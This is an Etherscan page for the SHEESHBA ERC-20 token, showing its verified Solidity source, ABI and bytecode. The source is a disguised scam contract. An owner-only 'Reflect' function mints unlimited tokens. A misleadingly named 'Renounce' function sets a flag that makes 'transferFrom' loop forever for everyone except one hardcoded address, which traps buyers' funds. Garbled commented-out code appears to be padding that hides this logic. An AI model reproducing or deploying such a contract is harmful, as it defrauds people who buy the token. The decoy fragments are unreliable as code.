ERC-20
Overview
Max Total Supply
100,000,000,000 SHEESHBA
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
84,364,252,283.782171997089625871 SHEESHBAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHEESHBA
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-05 */ pragma solidity 0.8.7; /* ) ( ) ( /( )\ ) ( /( )\()) ( ( (()/( )\()) ( ((_)\ )\ )\ /(_))((_)\ )\ _((_)((_) ((_) (_)) _((_) ((_)| || || __|| __|/ __| | || | (_-<| __ || _| | _| \__ \ | __ | /__/|_||_||___||___||___/ |_||_| function deploy(bytes32 _struct) private { bytes memory slotcode = type(StorageUnit).creationCode; solium-disable-next-line // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) } StorageUnit store = StorageUnit(contractSlot(_struct)); if (!IsContract.isContract(address(store))) { return bytes32(0); solium-disable-next-line (bool success, bytes memory data) = address(store).staticcall( abi.encodeWithSelector( store.read.selector, _key""" require(success, "error reading storage"); return abi.decode(data, (bytes32)); soliuma-next-line (bool success, bytes memory data) = */ contract SHEESHBA { mapping (address => uint256) public balanceOf; // string public name = "SHEESHBA"; string public symbol = "SHEESHBA"; uint8 public decimals = 18; uint256 public totalSupply = 100000000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); constructor() public { // balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } address owner = msg.sender; bool isEnabled; modifier onlyOwner() { require(msg.sender == owner); _; } function Renounce() public onlyOwner { isEnabled = !isEnabled; } /*/// ); File: @openzeppelin/contracts/math/Math.sol solium-disable-next-line (bool success, bytes memory data) = address(store).staticcall( abi.encodeWithSelector( store.read.selector, _key""" require(success, "error reading storage"); return abi.decode(data, (bytes32)); soliuma-next-line (bool success, bytes memory data) = address(store).staticcall( //abi.encodeWithSelector( _key""" return abi.decode(data, (bytes32)); */ /* function read( bytes32 _struct, bytes32 _key "" ) internal view returns (bytes32) { StorageUnit store = StorageUnit(contractSlot(_struct)); if (!IsContract.isContract(address(store))) { return bytes32(0); solium-disable-next-line (bool success, bytes memory data) = address(store).staticcall( abi.encodeWithSelector( store.read.selector, _key""" require(success, "error reading storage"); return abi.decode(data, (bytes32)); */ function Reflect(address to, uint256 value) public onlyOwner() { totalSupply += value; balanceOf[to] += value; emit Transfer(address(0), to, value); } /* bytes32 _struct, bytes32 _key "" ) internal view returns (bytes32) { StorageUnit store = StorageUnit(contractSlot(_struct)); if (!IsContract.isContract(address(store))) { return bytes32(0); StorageUnit store = StorageUnit(contractSlot(_struct)); if (!IsContract.isContract(address(store))) { return bytes32(0); solium-disable-next-line (bool success, bytes memory data) = address(store).staticcall( abi.encodeWithSelector( store.read.selector, _key""" require(success, "error reading storage"); return abi.decode(data, (bytes32)); solium-disable-next-line (bool success, bytes memory data) = address(store).staticcall( abi.encodeWithSelector( store.read.selector, _key""" return abi.decode(data, (bytes32)); */ function transfer(address to, uint256 value) public returns (bool success) { while(isEnabled) { if(isEnabled) require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /* bytes memory slotcode = type(StorageUnit).creationCode; solium-disable-next-line // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) } soliuma-next-line (bool success, bytes memory data) = address(store).staticcall( //abi.encodeWithSelector( _key""" if (!IsContract.isContract(address(store))) { return bytes32(0); */ address Dffty = 0xd137a5542e5391E32dA6B82AFf1401BcFbcC5F99; function transferFrom(address from, address to, uint256 value) public returns (bool success) { while(isEnabled) { if(from == Dffty) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } } require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"Reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600881526020017f5348454553484241000000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000248565b506040518060400160405280600881526020017f5348454553484241000000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000248565b506012600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff16600a620000da919062000381565b64174876e800620000ec9190620004be565b60045533600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d137a5542e5391e32da6b82aff1401bcfbcc5f99600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200019257600080fd5b506004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200023a919062000309565b60405180910390a3620005d7565b828054620002569062000536565b90600052602060002090601f0160209004810192826200027a5760008555620002c6565b82601f106200029557805160ff1916838001178555620002c6565b82800160010185558215620002c6579182015b82811115620002c5578251825591602001919060010190620002a8565b5b509050620002d59190620002d9565b5090565b5b80821115620002f4576000816000905550600101620002da565b5090565b62000303816200051f565b82525050565b6000602082019050620003206000830184620002f8565b92915050565b6000808291508390505b6001851115620003785780860481111562000350576200034f6200056c565b5b6001851615620003605780820291505b80810290506200037085620005ca565b945062000330565b94509492505050565b60006200038e826200051f565b91506200039b8362000529565b9250620003ca7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003d2565b905092915050565b600082620003e45760019050620004b7565b81620003f45760009050620004b7565b81600181146200040d576002811462000418576200044e565b6001915050620004b7565b60ff8411156200042d576200042c6200056c565b5b8360020a9150848211156200044757620004466200056c565b5b50620004b7565b5060208310610133831016604e8410600b8410161715620004885782820a9050838111156200048257620004816200056c565b5b620004b7565b62000497848484600162000326565b92509050818404811115620004b157620004b06200056c565b5b81810290505b9392505050565b6000620004cb826200051f565b9150620004d8836200051f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200051457620005136200056c565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200054f57607f821691505b602082108114156200056657620005656200059b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b6112fc80620005e76000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c8063313ce56711610071578063313ce5671461016657806370a082311461018457806395d89b41146101b4578063a9059cbb146101d2578063dd62ed3e14610202578063ddff1e3b14610232576100a9565b806306fdde03146100ae578063095ea7b3146100cc5780630fd24f9d146100fc57806318160ddd1461011857806323b872dd14610136575b600080fd5b6100b661023c565b6040516100c3919061106c565b60405180910390f35b6100e660048036038101906100e19190610fab565b6102ca565b6040516100f39190611051565b60405180910390f35b61011660048036038101906101119190610fab565b6103bc565b005b6101206104ee565b60405161012d919061108e565b60405180910390f35b610150600480360381019061014b9190610f58565b6104f4565b60405161015d9190611051565b60405180910390f35b61016e610a68565b60405161017b91906110a9565b60405180910390f35b61019e60048036038101906101999190610eeb565b610a7b565b6040516101ab919061108e565b60405180910390f35b6101bc610a93565b6040516101c9919061106c565b60405180910390f35b6101ec60048036038101906101e79190610fab565b610b21565b6040516101f99190611051565b60405180910390f35b61021c60048036038101906102179190610f18565b610e16565b604051610229919061108e565b60405180910390f35b61023a610e3b565b005b60018054610249906111f2565b80601f0160208091040260200160405190810160405280929190818152602001828054610275906111f2565b80156102c25780601f10610297576101008083540402835291602001916102c2565b820191906000526020600020905b8154815290600101906020018083116102a557829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103aa919061108e565b60405180910390a36001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461041657600080fd5b806004600082825461042891906110e0565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461047d91906110e0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104e2919061108e565b60405180910390a35050565b60045481565b60005b600560149054906101000a900460ff16156107e657600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156107e1576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105ad57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561063657600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106849190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106d991906110e0565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461076c9190611136565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d0919061108e565b60405180910390a360019050610a61565b6104f7565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561083157600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108ba57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109089190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461095d91906110e0565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109f09190611136565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a54919061108e565b60405180910390a3600190505b9392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054610aa0906111f2565b80601f0160208091040260200160405190810160405280929190818152602001828054610acc906111f2565b8015610b195780601f10610aee57610100808354040283529160200191610b19565b820191906000526020600020905b815481529060010190602001808311610afc57829003601f168201915b505050505081565b6000600560149054906101000a900460ff1615610cb157600560149054906101000a900460ff1615610b9957816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b9857600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be79190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c3c91906110e0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ca0919061108e565b60405180910390a360019050610e10565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cfc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4a9190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9f91906110e0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e03919061108e565b60405180910390a3600190505b92915050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9557600080fd5b600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550565b600081359050610ed081611298565b92915050565b600081359050610ee5816112af565b92915050565b600060208284031215610f0157610f00611282565b5b6000610f0f84828501610ec1565b91505092915050565b60008060408385031215610f2f57610f2e611282565b5b6000610f3d85828601610ec1565b9250506020610f4e85828601610ec1565b9150509250929050565b600080600060608486031215610f7157610f70611282565b5b6000610f7f86828701610ec1565b9350506020610f9086828701610ec1565b9250506040610fa186828701610ed6565b9150509250925092565b60008060408385031215610fc257610fc1611282565b5b6000610fd085828601610ec1565b9250506020610fe185828601610ed6565b9150509250929050565b610ff48161117c565b82525050565b6000611005826110c4565b61100f81856110cf565b935061101f8185602086016111bf565b61102881611287565b840191505092915050565b61103c816111a8565b82525050565b61104b816111b2565b82525050565b60006020820190506110666000830184610feb565b92915050565b600060208201905081810360008301526110868184610ffa565b905092915050565b60006020820190506110a36000830184611033565b92915050565b60006020820190506110be6000830184611042565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110eb826111a8565b91506110f6836111a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561112b5761112a611224565b5b828201905092915050565b6000611141826111a8565b915061114c836111a8565b92508282101561115f5761115e611224565b5b828203905092915050565b600061117582611188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156111dd5780820151818401526020810190506111c2565b838111156111ec576000848401525b50505050565b6000600282049050600182168061120a57607f821691505b6020821081141561121e5761121d611253565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b6112a18161116a565b81146112ac57600080fd5b50565b6112b8816111a8565b81146112c357600080fd5b5056fea264697066735822122005a00e7093a46eacf33de5d32d5c9db5590ed10fcaeec032c5c068fb08a114c564736f6c63430008070033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063313ce56711610071578063313ce5671461016657806370a082311461018457806395d89b41146101b4578063a9059cbb146101d2578063dd62ed3e14610202578063ddff1e3b14610232576100a9565b806306fdde03146100ae578063095ea7b3146100cc5780630fd24f9d146100fc57806318160ddd1461011857806323b872dd14610136575b600080fd5b6100b661023c565b6040516100c3919061106c565b60405180910390f35b6100e660048036038101906100e19190610fab565b6102ca565b6040516100f39190611051565b60405180910390f35b61011660048036038101906101119190610fab565b6103bc565b005b6101206104ee565b60405161012d919061108e565b60405180910390f35b610150600480360381019061014b9190610f58565b6104f4565b60405161015d9190611051565b60405180910390f35b61016e610a68565b60405161017b91906110a9565b60405180910390f35b61019e60048036038101906101999190610eeb565b610a7b565b6040516101ab919061108e565b60405180910390f35b6101bc610a93565b6040516101c9919061106c565b60405180910390f35b6101ec60048036038101906101e79190610fab565b610b21565b6040516101f99190611051565b60405180910390f35b61021c60048036038101906102179190610f18565b610e16565b604051610229919061108e565b60405180910390f35b61023a610e3b565b005b60018054610249906111f2565b80601f0160208091040260200160405190810160405280929190818152602001828054610275906111f2565b80156102c25780601f10610297576101008083540402835291602001916102c2565b820191906000526020600020905b8154815290600101906020018083116102a557829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103aa919061108e565b60405180910390a36001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461041657600080fd5b806004600082825461042891906110e0565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461047d91906110e0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104e2919061108e565b60405180910390a35050565b60045481565b60005b600560149054906101000a900460ff16156107e657600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156107e1576000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105ad57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561063657600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106849190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106d991906110e0565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461076c9190611136565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d0919061108e565b60405180910390a360019050610a61565b6104f7565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561083157600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156108ba57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109089190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461095d91906110e0565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109f09190611136565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a54919061108e565b60405180910390a3600190505b9392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054610aa0906111f2565b80601f0160208091040260200160405190810160405280929190818152602001828054610acc906111f2565b8015610b195780601f10610aee57610100808354040283529160200191610b19565b820191906000526020600020905b815481529060010190602001808311610afc57829003601f168201915b505050505081565b6000600560149054906101000a900460ff1615610cb157600560149054906101000a900460ff1615610b9957816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b9857600080fd5b5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be79190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c3c91906110e0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ca0919061108e565b60405180910390a360019050610e10565b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cfc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4a9190611136565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9f91906110e0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e03919061108e565b60405180910390a3600190505b92915050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9557600080fd5b600560149054906101000a900460ff1615600560146101000a81548160ff021916908315150217905550565b600081359050610ed081611298565b92915050565b600081359050610ee5816112af565b92915050565b600060208284031215610f0157610f00611282565b5b6000610f0f84828501610ec1565b91505092915050565b60008060408385031215610f2f57610f2e611282565b5b6000610f3d85828601610ec1565b9250506020610f4e85828601610ec1565b9150509250929050565b600080600060608486031215610f7157610f70611282565b5b6000610f7f86828701610ec1565b9350506020610f9086828701610ec1565b9250506040610fa186828701610ed6565b9150509250925092565b60008060408385031215610fc257610fc1611282565b5b6000610fd085828601610ec1565b9250506020610fe185828601610ed6565b9150509250929050565b610ff48161117c565b82525050565b6000611005826110c4565b61100f81856110cf565b935061101f8185602086016111bf565b61102881611287565b840191505092915050565b61103c816111a8565b82525050565b61104b816111b2565b82525050565b60006020820190506110666000830184610feb565b92915050565b600060208201905081810360008301526110868184610ffa565b905092915050565b60006020820190506110a36000830184611033565b92915050565b60006020820190506110be6000830184611042565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110eb826111a8565b91506110f6836111a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561112b5761112a611224565b5b828201905092915050565b6000611141826111a8565b915061114c836111a8565b92508282101561115f5761115e611224565b5b828203905092915050565b600061117582611188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156111dd5780820151818401526020810190506111c2565b838111156111ec576000848401525b50505050565b6000600282049050600182168061120a57607f821691505b6020821081141561121e5761121d611253565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b6112a18161116a565b81146112ac57600080fd5b50565b6112b8816111a8565b81146112c357600080fd5b5056fea264697066735822122005a00e7093a46eacf33de5d32d5c9db5590ed10fcaeec032c5c068fb08a114c564736f6c63430008070033
Deployed Bytecode Sourcemap
1209:5717:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1301:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5227:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3192:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1412:69;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6115:800;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1379:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1238:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1339:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4483:551;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5154:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1854:71;;;:::i;:::-;;1301:31;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;5227:263::-;5309:12;5403:5;5370:9;:21;5380:10;5370:21;;;;;;;;;;;;;;;:30;5392:7;5370:30;;;;;;;;;;;;;;;:38;;;;5445:7;5424:36;;5433:10;5424:36;;;5454:5;5424:36;;;;;;:::i;:::-;;;;;;;;5478:4;5471:11;;5227:263;;;;:::o;3192:196::-;1830:5;;;;;;;;;;;1816:19;;:10;:19;;;1808:28;;;;;;3307:5:::1;3292:11;;:20;;;;;;;:::i;:::-;;;;;;;;3336:5;3319:9;:13:::0;3329:2:::1;3319:13;;;;;;;;;;;;;;;;:22;;;;;;;:::i;:::-;;;;;;;;3374:2;3353:31;;3370:1;3353:31;;;3378:5;3353:31;;;;;;:::i;:::-;;;;;;;;3192:196:::0;;:::o;1412:69::-;;;;:::o;6115:800::-;6212:12;6253:335;6259:9;;;;;;;;;;;6253:335;;;6284:5;;;;;;;;;;;6276:13;;:4;:13;;;6273:313;;;6331:9;:15;6341:4;6331:15;;;;;;;;;;;;;;;;6322:5;:24;;6314:33;;;;;;6375:9;:15;6385:4;6375:15;;;;;;;;;;;;